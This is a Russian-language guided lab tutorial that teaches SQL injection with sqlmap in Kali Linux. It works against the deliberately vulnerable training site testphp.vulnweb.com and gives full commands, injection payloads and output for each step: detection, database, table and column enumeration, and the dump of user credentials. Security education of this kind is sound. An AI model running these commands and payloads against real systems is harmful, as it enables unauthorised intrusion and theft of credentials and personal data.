SQL-инъекции в Kali Linux с помощью sqlmap

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы научитесь выявлять и эксплуатировать уязвимости типа SQL-инъекция, используя Kali Linux и мощный инструмент sqlmap. Пройдя через серию последовательных шагов, вы обнаружите уязвимое веб-приложение, изучите структуру его базы данных и извлечете конфиденциальные данные. Все действия выполняются в безопасной среде виртуальной машины LabEx с использованием контейнера Kali Linux. Данная работа ориентирована на новичков и дает практический опыт автоматизированного тестирования безопасности веб-приложений. При открытии терминала вы автоматически подключитесь к оболочке контейнера Kali Linux и сможете сразу приступить к работе.

Это управляемая лабораторная работа, содержащая пошаговые инструкции для обучения и практики. Внимательно следуйте указаниям, чтобы выполнить каждый этап и получить практический опыт. Статистика показывает, что это работа среднего уровня сложности с показателем завершения 60%. Она получила 97% положительных отзывов от учащихся.

Подготовка среды и установка sqlmap

Ваша лабораторная среда предварительно настроена так, что при открытии терминала вы сразу попадаете в консоль контейнера Kali Linux. Ваша первая задача — подготовить окружение, обновив список пакетов и установив sqlmap, основной инструмент для этой работы.

sqlmap — это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс поиска и эксплуатации уязвимостей SQL-инъекций и захвата серверов баз данных.

Сначала обновите индекс репозитория пакетов. Это гарантирует, что вы получите последнюю версию программного обеспечения.

apt update

Затем установите sqlmap с помощью следующей команды. Флаг -y автоматически подтверждает установку.

apt install -y sqlmap

Этот процесс может занять некоторое время. После завершения установки убедитесь, что sqlmap установлен правильно, проверив его версию.

sqlmap --version

Вы должны увидеть вывод с номером установленной версии sqlmap, что подтверждает готовность инструмента к работе.

Ожидаемый результат (номер версии может отличаться):

1.x.x#stable

Теперь, когда sqlmap установлен и проверен, ваша среда готова к следующим шагам, где вы начнете проверку целевого веб-приложения на наличие SQL-инъекций.

Обнаружение уязвимости SQL-инъекция

Теперь, когда sqlmap установлен, можно приступить к тестированию веб-приложения. В этой лабораторной работе мы будем использовать общедоступный сайт, специально созданный с уязвимостями для обучения безопасности. Первым шагом в любой атаке типа SQL-инъекция является поиск уязвимого параметра.

Целевой URL для этой работы: http://testphp.vulnweb.com/listproducts.php?cat=1. Параметр cat=1 является потенциальной точкой входа для инъекции. Мы воспользуемся sqlmap для автоматической проверки этого параметра.

Выполните следующую команду, чтобы начать тест. Флаг -u указывает целевой URL. Мы используем флаг --batch, чтобы sqlmap работал с ответами по умолчанию на все интерактивные вопросы, что делает процесс автоматическим и быстрым.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

sqlmap проведет серию тестов по указанному адресу. Он проанализирует ответы сервера, чтобы определить, является ли параметр cat уязвимым. Этот процесс может занять минуту или две, так как инструмент перебирает различные методы SQL-инъекций.

После завершения сканирования изучите вывод. Вы должны найти раздел, подтверждающий наличие уязвимости.

Ожидаемый результат (сокращенно):

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Вывод подтверждает, что параметр cat уязвим к нескольким типам SQL-атак:

  • Boolean-based blind: использует логику "истина/ложь" для извлечения данных.
  • Error-based: эксплуатирует сообщения об ошибках базы данных для получения информации.
  • Time-based blind: использует задержки в ответах для подтверждения инъекции.
  • UNION query: объединяет результаты нескольких операторов SELECT.

Сканирование также определило, что в качестве СУБД используется MySQL версии 5.6 или выше, работающая на Linux Ubuntu с Nginx и PHP. Эта подробная информация ("отпечаток" системы) поможет на следующих этапах эксплуатации.

Перечисление баз данных

После подтверждения уязвимости следующим логическим шагом будет выяснение того, какие базы данных существуют на сервере. Этот процесс называется перечислением (enumeration). Знание имен баз данных необходимо для навигации по структуре данных сервера.

Вы будете использовать флаг --dbs в sqlmap, чтобы вывести список всех доступных баз данных. Команда повторно использует данные сессии из предыдущего шага, поэтому sqlmap не нужно заново проверять уязвимость.

Выполните следующую команду:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap воспользуется уязвимостью, чтобы запросить схему базы данных и получить список всех имен БД. Обратите внимание, что sqlmap возобновляет работу из сохраненной сессии.

Ожидаемый результат:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

В выводе отображаются две базы данных: acuart и information_schema.

  • information_schema — это стандартная база данных в MySQL, в которой хранятся метаданные обо всех остальных базах данных. Она полезна, но обычно не является основной целью для кражи данных.
  • acuart выглядит как пользовательская база данных приложения, которая, скорее всего, содержит интересующие нас данные, такие как информация о пользователях.

Теперь, когда у вас есть имя базы данных приложения, вы можете перейти к изучению её содержимого.

Перечисление таблиц и столбцов

После идентификации базы данных acuart ваша следующая цель — увидеть, какие таблицы она содержит. Именно в таблицах хранятся реальные данные. Таблица с именем users или customers, например, является приоритетной целью.

Чтобы вывести список таблиц в базе данных acuart, используйте флаг -D для указания имени базы данных и флаг --tables для запроса списка таблиц.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

Ожидаемый результат:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

В выводе представлено несколько таблиц, среди которых users представляет особый интерес. Давайте изучим таблицу users подробнее, перечислив её столбцы. Для этого добавьте флаг -T для указания имени таблицы и флаг --columns.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

Ожидаемый результат:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Столбцы uname (имя пользователя) и pass (пароль) являются основными целями для извлечения данных. Другие интересные столбцы включают email, cc (номер кредитной карты) и phone. Теперь у вас есть вся необходимая информация для выгрузки содержимого этих конфиденциальных столбцов.

Извлечение данных из таблицы

Это финальный этап атаки, на котором вы извлечете данные из целевой таблицы. Основываясь на предыдущих шагах, вы знаете базу данных (acuart), таблицу (users) и интересующие вас столбцы (uname, pass).

Для выгрузки данных используется флаг --dump. Вы можете указать конкретные столбцы с помощью флага -C, чтобы ускорить процесс и сделать его более точным.

Выполните следующую команду, чтобы извлечь имена пользователей и пароли из таблицы users:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

sqlmap извлечет данные из указанных столбцов и отобразит их в терминале. Он также сохранит данные в CSV-файл для последующего анализа.

Ожидаемый результат:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

В выводе видна одна запись пользователя с логином test и паролем test. Успешное извлечение данных демонстрирует критические последствия уязвимостей SQL-инъекций:

  • Утечка данных: конфиденциальные учетные данные пользователей скомпрометированы.
  • Несанкционированный доступ: эти данные могут быть использованы для входа в приложение.
  • Нарушение конфиденциальности: личная информация попала в чужие руки.
  • Риск безопасности: уязвимость может быть использована для доступа к другим данным или повышения привилегий.

На этом завершается типичная последовательность SQL-атаки: обнаружение → перечисление → эксплуатация → извлечение данных.

Вы также можете просмотреть сохраненные данные, прочитав CSV-файл, указанный в выводе.

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Ожидаемый результат:

uname,pass
test,test

Это подтверждает, что данные были успешно эксфильтрованы и сохранены.

Резюме

В ходе этой лабораторной работы вы успешно провели полную атаку типа SQL-инъекция, используя sqlmap в среде Kali Linux. Вы начали с установки sqlmap, а затем использовали его для автоматического обнаружения уязвимости в работающем веб-приложении. Применяя систематический подход, вы перечислили базы данных сервера, вывели список таблиц в целевой базе данных, определили конфиденциальные столбцы и, наконец, извлекли учетные данные пользователей. Этот практический опыт дал вам понимание того, как автоматизированные инструменты могут использоваться для поиска и эксплуатации одного из самых распространенных и опасных недостатков веб-безопасности.